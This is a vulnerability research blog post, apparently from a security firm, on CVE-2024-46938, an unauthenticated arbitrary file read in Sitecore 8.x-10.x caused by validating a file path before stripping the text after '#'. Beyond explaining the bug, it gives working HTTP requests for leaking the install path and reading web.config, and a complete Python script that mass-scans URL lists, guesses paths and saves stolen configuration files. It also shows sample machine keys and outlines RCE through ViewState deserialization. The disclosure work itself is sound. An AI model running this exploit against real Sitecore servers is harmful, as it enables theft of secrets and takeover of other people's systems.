Leveraging An Order of Operations Bug to Achieve RCE in Sitecore 8.x - 10.x
Earlier this year, we discovered a security vulnerability in Sitecore that was exploitable due to an order of operations issue in the code. This vulnerability (CVE-2024-46938) allows an unauthenticated attacker to read arbitrary files from the local system, including but not limited to the web.config
file and Sitecore's automatic zip backups. After downloading these files, achieving RCE is trivial by exploiting .NET ViewState deserialization.
Sitecore is a very popular CMS used heavily by the Fortune 500, and due to the popularity of this CMS on the broader internet and within our customers attack surfaces, Assetnote's Security Research team has had a keen interest in finding security issues within Sitecore CMS.
Our previous blog posts on this topic cover a variety of issues, from a one-shot RCE via deserialization, to more complex authentication bypasses and RCE chains.
Sitecore patched this vulnerability in August 2024 announced in their Security Bulletin SC2024-001-619349. From our analysis, this vulnerability is still present on many Sitecore systems in the wild due to the extremely broad version set that it affects.
As always, customers of our Attack Surface Management platform were the first to know when this vulnerability affected them. We continue to perform original security research to inform our customers about zero-day vulnerabilities in their attack surface.
What is an Order of Operations bug?
Before we get into the details of the vulnerability itself, we wanted to spend some time exploring the concept of order of operation bugs. When writing code, especially code that is responsible for security boundaries, the order in which these security boundaries are applied is extremely important. Often logic flaws within these flows can lead to devastating security impact.
If we think about some code that is supposed to present a security boundary, the order in which that security boundary is applied, is just as important as the security boundary itself. A mistake in the ordering could lead to a total bypass. This may not sound obvious, but we will provide some examples where this leads to vulnerabilities.
Let's consider the following code snippet:
from werkzeug.utils import secure_filename
from enterprise.utils import decrypt_str
def decrypt_value(encrypted_str):
return decrypt_str(encrypted_str)
@app.route('/upload', methods=['POST'])
def upload_file():
file = request.files['file_upload']
encrypted_file_path = request.form['file_path']
file_path = decrypt_value(secure_filename(encrypted_file_path))
file.save(f"/var/www/images/{file_path}")
This is the most basic and classic example of what an order of operations bug can look like.
In the case above, we can see that there is some logic that is supposed to prevent path traversal through the use of secure_filename
, however, the order of operations is incorrect.
The secure_filename
operation will not prevent path traversal as it is occurring on an encrypted string that is then being decrypted, after being sanitized. The sanitization would have no impact on an encrypted string. The encrypted string could contain a path traversal that is only present once decrypted.
Finding an Order of Operations bug in Sitecore
The /-/speak/v1/bundles/bundle.js
endpoint allows for arbitrary file read if an absolute path is used. This is possible because the query parameter specifying the file is not properly normalized before it is verified. The input is also modified after verification resulting in file extension checks being bypassable.
The snippet below from Sitecore.Resources.Pipelines.ResolveScript.Bundle
shows where the initial verification is performed.
string phisicalFileName = string.Empty;
try
{
// [0] MapPath will return the input without collapsing '..' if the input contains '\'
phisicalFileName = FileUtil.MapPath(text3.ToLowerInvariant());
}
catch (HttpException)
{
goto IL_16A;
}
// [1] Checks if the file starts with a valid path and ends with a valid file extension
if (Bundle.AllowedFiles.FindAll((Bundle.AllowedFile af) => phisicalFileName.StartsWith(af.Folder, StringComparison.InvariantCultureIgnoreCase)).Any((Bundle.AllowedFile af) => (af.Extensions.Count == 0 || af.Extensions.Exists(new Predicate<string>(phisicalFileName.EndsWith))) && phisicalFileName.StartsWith(af.Folder, StringComparison.InvariantCultureIgnoreCase)) && !list.Contains(text3))
{
list.Add(text3);
}
The snippet below from Sitecore.Web.ScriptHost
shows where anything to the right of #
is stripped. This makes it possible to bypass the EndsWith
restrictions because Web.Config#.js
will be converted to just Web.Config
. This happens after the path is validated.
if (fileName.IndexOf(requireJsCustomHandler, StringComparison.InvariantCultureIgnoreCase) < 0)
{
string text = fileName;
int num = text.IndexOf('#');
if (num >= 0)
{
text = text.Left(num);
}
num = text.IndexOf('?');
if (num >= 0)
{
text = text.Left(num);
}
if (FileUtil.Exists(text))
{
etag.AddFile(text);
return FileUtil.ReadFromFile(text);
}
}
The following diagram represents the flow of this bug:
Practical Exploitation in the Wild
For this vulnerability to be exploitable in the wild, there is a key prerequisite that has to be met: knowing the absolute path of the Sitecore installation. Without knowing the absolute path of the Sitecore installation, the path traversal is not possible, and hence reading arbitrary files is not possible.
Assetnote's Security Research team designed two methods to achieve this. The first being a full path leak, which is obviously the most reliable way to obtain this base path, and the second being some educated guesses on what the absolute path could be.
The full path leak can be achieved by sending the following HTTP request:
POST /-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.ValidateXHtml?hdl=a HTTP/2
Host: sitecoresc.dev.local
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
__PAGESTATE=/../../a/
The response will contain an error like so:
HTTP/2 500 Internal Server Error
Cache-Control: private
Content-Type: text/html; charset=utf-8
Accept-Ch: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Platform-Version,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Bitness
Date: Fri, 15 Nov 2024 07:24:00 GMT
Content-Length: 6786
<!DOCTYPE >
<html>
<head>
<title>Could not find a part of the path 'C:\inetpub\wwwroot\sitecoresc.dev.local\a\.txt'.</title>
Once the absolute path is known, the following HTTP request can be sent to reproduce the vulnerability:
GET /-/speak/v1/bundles/bundle.js?f=C:\inetpub\wwwroot\sitecoresc.dev.local\sitecore\shell\client\..\..\..\web.config%23.js HTTP/1.1
Host: sitecoresc.dev.local
HTTP/2 200 OK
Cache-Control: public, max-age=0
Content-Length: 59741
Content-Type: text/javascript
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
Accept-Ch: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Platform-Version,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Bitness
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<configSections>
<section name="sitecore" type="Sitecore.Configuration.RuleBasedConfigReader, Sitecore.Kernel" />
<section name="log4net" type="log4net.Config.Log4NetConfigurationSectionHandler, Sitecore.Logging" />
<section name="RetryPolicyConfiguration" type="Microsoft.Practices.EnterpriseLibrary.TransientFaultHandling.Configuration.RetryPolicyConfigurationSettings, Microsoft.Practices.EnterpriseLibrary.TransientFaultHandling.Configuration, Version=6.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" requirePermission="true" />
<section name="configBuilders" type="System.Configuration.ConfigurationBuildersSection, System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" restartOnExternalChanges="false" requirePermission="false" />
This technique of disclosing a path via a manufactured exception is only present in some configurations. If the path cannot be disclosed through the method described above, it is necessary to perform some educated guesses as to what the absolute path is.
If you're testing your own Sitecore asset and are aware of the absolute path, you can skip the path leak/guessing steps and directly hit the vulnerable endpoint to see if you can read arbitrary files.
We've packaged the method involving an absolute path leak, as well as a second method which involves guessing common paths and trying known paths in the exploit script below:
import argparse
import requests
import tldextract
import urllib3
import re
from tqdm import tqdm
from concurrent.futures import ThreadPoolExecutor, as_completed
from datetime import datetime
from typing import List, Optional
urllib3.disable_warnings()
class FileDisclosureScanner:
def __init__(self):
self.results = []
self.fixed_paths = [
r"C:\\inetpub\\wwwroot\\sitecore\\",
r"C:\\inetpub\\wwwroot\\sitecore1\\",
r"C:\\inetpub\\wwwroot\\sxa\\",
r"C:\\inetpub\\wwwroot\\XP0.sc\\",
r"C:\\inetpub\\wwwroot\\Sitecore82\\",
r"C:\\inetpub\\wwwroot\\Sitecore81\\",
r"C:\\inetpub\\wwwroot\\Sitecore81u2\\",
r"C:\\inetpub\\wwwroot\\Sitecore7\\",
r"C:\\inetpub\\wwwroot\\Sitecore8\\",
r"C:\\inetpub\\wwwroot\\Sitecore70\\",
r"C:\\inetpub\\wwwroot\\Sitecore71\\",
r"C:\\inetpub\\wwwroot\\Sitecore72\\",
r"C:\\inetpub\\wwwroot\\Sitecore75\\",
r"C:\\Websites\\spe.dev.local\\",
r"C:\\inetpub\\wwwroot\\SitecoreInstance\\",
r"C:\\inetpub\\wwwroot\\SitecoreSPE_8\\",
r"C:\\inetpub\\wwwroot\\SitecoreSPE_91\\",
r"C:\\inetpub\\wwwroot\\Sitecore9\\",
r"C:\\inetpub\\wwwroot\\sitecore93sc.dev.local\\",
r"C:\\inetpub\\wwwroot\\Sitecore81u3\\",
r"C:\\inetpub\\wwwroot\\sitecore9.sc\\",
r"C:\\inetpub\\wwwroot\\sitecore901xp0.sc\\",
r"C:\\inetpub\\wwwroot\\sitecore9-website\\",
r"C:\\inetpub\\wwwroot\\sitecore93.sc\\",
r"C:\\inetpub\\wwwroot\\SitecoreSite\\",
r"C:\\inetpub\\wwwroot\\sc82\\",
r"C:\\inetpub\\wwwroot\\SX93sc.dev.local\\",
r"C:\\inetpub\\SITECORE.sc\\",
r"C:\\inetpub\\wwwroot\\"
]
def attempt_absolute_path_leak(self, base_url: str) -> Optional[str]:
"""Attempt to discover absolute path through POST request."""
path_discovery_endpoint = f"{base_url}/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.ValidateXHtml?hdl=a"
headers = {
"Accept": "*/*",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en-US;q=0.9,en;q=0.8",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36",
"Connection": "close",
"Cache-Control": "max-age=0",
"Content-Type": "application/x-www-form-urlencoded"
}
data = "__PAGESTATE=/../../x/x"
try:
response = requests.post(path_discovery_endpoint, headers=headers, data=data, verify=False, timeout=5)
if response.status_code == 500:
match = re.search(r"Could not find a part of the path '([^']+)'", response.text)
if match:
absolute_path = match.group(1)
print(f"[+] Discovered absolute path for {base_url}: {absolute_path}")
return absolute_path
except requests.RequestException:
pass
return None
def generate_dynamic_paths(self, base_url: str) -> List[str]:
"""Generate dynamic paths based on URL components."""
extracted = tldextract.extract(base_url)
subdomain = extracted.subdomain
domain = extracted.domain
suffix = extracted.suffix
fqdn = f"{subdomain}.{domain}.{suffix}".strip(".")
return [
fr"C:\\inetpub\\{domain}.sc\\",
fr"C:\\inetpub\\{fqdn}.sc\\",
fr"C:\\inetpub\\{subdomain}.sc\\",
fr"C:\\inetpub\\{fqdn}\\",
fr"C:\\inetpub\\{subdomain}\\",
fr"C:\\inetpub\\{domain}\\",
fr"C:\\inetpub\\{domain}.sitecore\\",
fr"C:\\inetpub\\{fqdn}.sitecore\\",
fr"C:\\inetpub\\{subdomain}.sitecore\\",
fr"C:\\inetpub\\{domain}.website\\",
fr"C:\\inetpub\\{fqdn}.website\\",
fr"C:\\inetpub\\{subdomain}.website\\",
fr"C:\\inetpub\\{domain}.dev.local\\",
fr"C:\\inetpub\\{fqdn}.dev.local\\",
fr"C:\\inetpub\\{subdomain}.dev.local\\",
fr"C:\\inetpub\\{domain}sc.dev.local\\",
fr"C:\\inetpub\\{fqdn}sc.dev.local\\",
fr"C:\\inetpub\\{subdomain}sc.dev.local\\"
]
def send_request(self, base_url: str, path: str, progress_bar: tqdm) -> Optional[dict]:
"""Send request to check for vulnerability."""
test_path = f"{path}sitecore\\shell\\client\\..\\..\\..\\web.config%23.js"
payload_url = f"{base_url}/-/speak/v1/bundles/bundle.js?f={test_path}"
try:
response = requests.get(payload_url, verify=False, timeout=5)
if response.status_code == 200 and "<?xml version=" in response.text and "<configuration>" in response.text:
result = {
"url": base_url,
"path": path,
"content": response.text
}
self.results.append(result)
return result
except requests.RequestException:
pass
finally:
progress_bar.update(1)
return None
def process_url(self, base_url: str, progress_bar: tqdm) -> None:
"""Process a single URL."""
leaked_path = self.attempt_absolute_path_leak(base_url)
if leaked_path:
leaked_path = leaked_path.replace("x\\x.txt", "")
paths_to_test = [leaked_path] + self.generate_dynamic_paths(base_url)
else:
paths_to_test = self.fixed_paths + self.generate_dynamic_paths(base_url)
with ThreadPoolExecutor(max_workers=5) as executor:
futures = [executor.submit(self.send_request, base_url, path, progress_bar)
for path in paths_to_test]
for future in as_completed(futures):
future.result()
def save_results(self, output_file: str) -> None:
"""Save results to file."""
if self.results:
with open(output_file, "w") as f:
for result in self.results:
f.write(f"URL: {result['url']}\n")
f.write(f"Path: {result['path']}\n")
f.write(f"Extracted File:\n{result['content']}\n\n")
def print_results(self) -> None:
"""Print all found results."""
if self.results:
print("\n[+] Successfully exploited CVE-2024-46938 and obtained web.config:")
for result in self.results:
print(f"\nTarget: {result['url']}")
print(f"Local Path: {result['path']}")
print("-" * 50)
def main():
parser = argparse.ArgumentParser(description="Test for absolute path disclosure vulnerability.")
parser.add_argument("--baseurl", help="Base URL of the target (e.g., https://example.com)")
parser.add_argument("--inputfile", help="File containing a list of URLs, one per line")
args = parser.parse_args()
urls = []
if args.baseurl:
urls.append(args.baseurl)
elif args.inputfile:
with open(args.inputfile, "r") as file:
urls = [line.strip() for line in file if line.strip()]
else:
parser.error("Either --baseurl or --inputfile must be provided")
scanner = FileDisclosureScanner()
timestamp = datetime.now().strftime("%Y%m%d-%H%M%S")
output_file = f"output-{timestamp}.txt"
# Calculate total requests for progress bar
total_requests = len(urls) * (len(scanner.fixed_paths) + len(scanner.generate_dynamic_paths(urls[0])))
with tqdm(total=total_requests, desc="Scanning", unit="request") as progress_bar:
with ThreadPoolExecutor(max_workers=10) as main_executor:
futures = {main_executor.submit(scanner.process_url, url, progress_bar): url
for url in urls}
for future in as_completed(futures):
future.result()
if scanner.results:
scanner.save_results(output_file)
print(f"\n[+] Found {len(scanner.results)} vulnerable targets")
print(f"[+] Results saved to: {output_file}")
scanner.print_results()
else:
print("\n[-] No vulnerabilities found")
if __name__ == "__main__":
main()
The output of this script on success will look like the following:
❯ python3 exploit.py --inputfile urls.txt
Scanning: 41%|█████████████████████████████████████████████▋ | 587/1426 [00:06<00:08, 99.27request/s]
[+] Discovered absolute path for https://sc1-cm.sc.lab: C:\inetpub\wwwroot\x\x.txt
Scanning: 75%|██████████████████████████████████████████████████████████████████████████████████▌ | 1070/1426 [00:11<00:03, 94.08request/s]
[+] Discovered absolute path for https://sc2-cm.sc.lab: C:\inetpub\wwwroot\x\x.txt
Scanning: 77%|████████████████████████████████████████████████████████████████████████████████████▍ | 1094/1426 [00:11<00:03, 90.13request/s]
[+] Discovered absolute path for https://sc3-cm.sc.lab: C:\inetpub\wwwroot\x\x.txt
Scanning: 94%|███████████████████████████████████████████████████████████████████████████████████████████████████████▊ | 1345/1426 [00:45<00:02, 29.86request/s]
[+] Found 3 vulnerable targets
[+] Results saved to: output-20241122-140138.txt
[+] Successfully exploited CVE-2024-46938 and obtained web.config:
Target: https://sc1-cm.sc.lab
Local Path: C:\inetpub\wwwroot\
--------------------------------------------------
Target: https://sc3-cm.sc.lab
Local Path: C:\inetpub\wwwroot\
--------------------------------------------------
Target: https://sc2-cm.sc.lab
Local Path: C:\inetpub\wwwroot\
--------------------------------------------------
The web.config
file will either contain the machine key like so:
<machineKey validationKey="7AABEC4684E79365C4D03C0052452425CDB429AEDE3B442A92F9C30FDF2D739E272A6AF9D966BBCAAAD3A56D5A626B2E7F6D8770005622E38CE7D0C722526BF4" decryptionKey="1D9E7D5EAC50ED1573E30EF8EA48F133BFDC36B8CC1759B9" validation="SHA1" decryption="AES" />
or Telerik encryption keys:
<add key="Telerik.AsyncUpload.ConfigurationEncryptionKey" value="FWhb2UcGq5qFYCXikTwaRK0tniqiadpSSx0mt8G6oRrjS5bvIqVeYfX33XCzpdaG3y7u82F45skVjNDI1pVRwmWEP7Tt6Q2Ro0bpWaCUwp3veHQ7NL3jGYNtR2Vss99X0vDFPTJCXroOIZaAIMk7eXioAzc5bjcw7H9O6DpXCKKg37jw1o8dMDdkNAopLjtIwk4tXf2zmzU3bWUTeYvkZWrcG775KNvDmijqNgnIgj6JroaCK9afmY6xlDOFLrgB" />
<add key="Telerik.Upload.ConfigurationHashKey" value="FWhb2UcGq5qFYCXikTwaRK0tniqiadpSSx0mt8G6oRrjS5bvIqVeYfX33XCzpdaG3y7u82F45skVjNDI1pVRwmWEP7Tt6Q2Ro0bpWaCUwp3veHQ7NL3jGYNtR2Vss99X0vDFPTJCXroOIZaAIMk7eXioAzc5bjcw7H9O6DpXCKKg37jw1o8dMDdkNAopLjtIwk4tXf2zmzU3bWUTeYvkZWrcG775KNvDmijqNgnIgj6JroaCK9afmY6xlDOFLrgB" />
<add key="Telerik.Web.UI.DialogParametersEncryptionKey" value="FWhb2UcGq5qFYCXikTwaRK0tniqiadpSSx0mt8G6oRrjS5bvIqVeYfX33XCzpdaG3y7u82F45skVjNDI1pVRwmWEP7Tt6Q2Ro0bpWaCUwp3veHQ7NL3jGYNtR2Vss99X0vDFPTJCXroOIZaAIMk7eXioAzc5bjcw7H9O6DpXCKKg37jw1o8dMDdkNAopLjtIwk4tXf2zmzU3bWUTeYvkZWrcG775KNvDmijqNgnIgj6JroaCK9afmY6xlDOFLrgB" />
Impact
Local file disclosure vulnerabilities on .NET systems can typically lead to command execution through deserializing a ViewState crafted after obtaining the machineKey
value from the web.config
file.
In the case of Sitecore, Telerik can also be exploited if the keys are present within the web.config file. An attacker can also use this vulnerability to download Sitecore backups. Both the Telerik RCE and backup download attack vectors were disclosed in a previous blog post. These backups often contain all of the DLL files for the Sitecore application, often containing custom code or modules that can lead to additional vulnerabilities.
More Like This
Ready to get started?
Get on a call with our team and learn how Assetnote can change the way you secure your attack surface. We'll set you up with a trial instance so you can see the impact for yourself.